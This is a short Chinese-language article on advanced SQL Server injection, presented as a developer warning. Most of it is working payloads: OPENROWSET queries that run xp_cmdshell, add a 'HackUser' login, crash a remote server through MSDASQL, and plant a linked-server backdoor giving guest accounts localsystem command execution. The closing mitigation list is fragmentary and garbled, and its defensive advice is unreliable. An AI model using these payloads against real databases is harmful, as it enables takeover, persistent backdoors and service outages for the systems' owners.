SQL 注入不僅限於基本的 OR 1=1,攻擊者可利用 SQL Server 內建功能(如 OPENROWSET、OPENDATASOURCE)執行系統命令、建立後門,甚至導致服務癱瘓。本文揭露幾個易被忽視的進階注入手法,旨在提醒開發人員加強防禦。
SELECT * FROM OPENROWSET(
'SQLOLEDB', 'server';'sa';'',
'SET FMTONLY OFF EXEC master.dbo.xp_cmdshell ''dir c:\'''
);
關鍵在於 SET FMTONLY OFF,否則預設只回傳中繼資料,導致命令不執行。
SELECT * FROM OPENROWSET(
'SQLOLEDB', 'server';'sa';'',
'SELECT ''OK!'' EXEC master.dbo.sp_addlogin ''HackUser'''
);
透過 SELECT 'OK!' 產生虛擬結果集,欺騙外層 SELECT,使命令順利執行。
使用 MSDASQL 提供者連接遠端 SQL Server 時,若單一批次包含兩個欄位數不同的 SELECT,會觸發嚴重錯誤:
SELECT * FROM OPENROWSET(
'MSDASQL',
'driver={SQL Server};server=target;uid=sa;pwd=;database=master',
'SELECT * FROM table1; SELECT * FROM table2' -- 欄位數不同時觸發
);
現象:遠端 SQL Server 進程崩潰,本地連線也失效,需重啟機器才能恢復。此漏洞僅存在於 MSDASQL,SQLOLEDB 不受影響。
攻擊者以 SA 身分執行:
SELECT * FROM OPENROWSET(
'SQLOLEDB',
'trusted_connection=yes;data source=BackDoorName',
'SET FMTONLY OFF EXEC master..xp_cmdshell ''dir c:\'''
);
這會在目標伺服器建立名為 BackDoorName 的連結伺服器映射。之後即使是 guest 帳號,也能透過相同語句以 localsystem 權限執行命令,且映射在服務重啟前持續有效。
Windows 內建 localserver、msqi 兩個系統 DSN,以本地管理員身分連線。若 SQL Server 以 Power User 啟動,SA 權限受限,攻擊者可能嘗試:
SELECT * FROM OPENROWSET(
'MSDASQL', 'dsn=localserver;trusted_connection=yes',
'SET FMTONLY OFF EXEC master..xp_cmdshell ''dir c:\'''
);
但 MSDASQL 限制非管理員呼叫,目前仍無成熟利用方式。
OPENROWSET/OPENDATASOURCE 權限,移除 PUBLIC 執行權限。xp_cmdshell、sp_addlogin 等高危擴展程序。sys.servers),刪除不明映射。理解進階注入手法,有助於建立深層防禦體系。資料庫安全不僅是 DBA 責任,開發人員更應在代碼層面堵塞注入入口。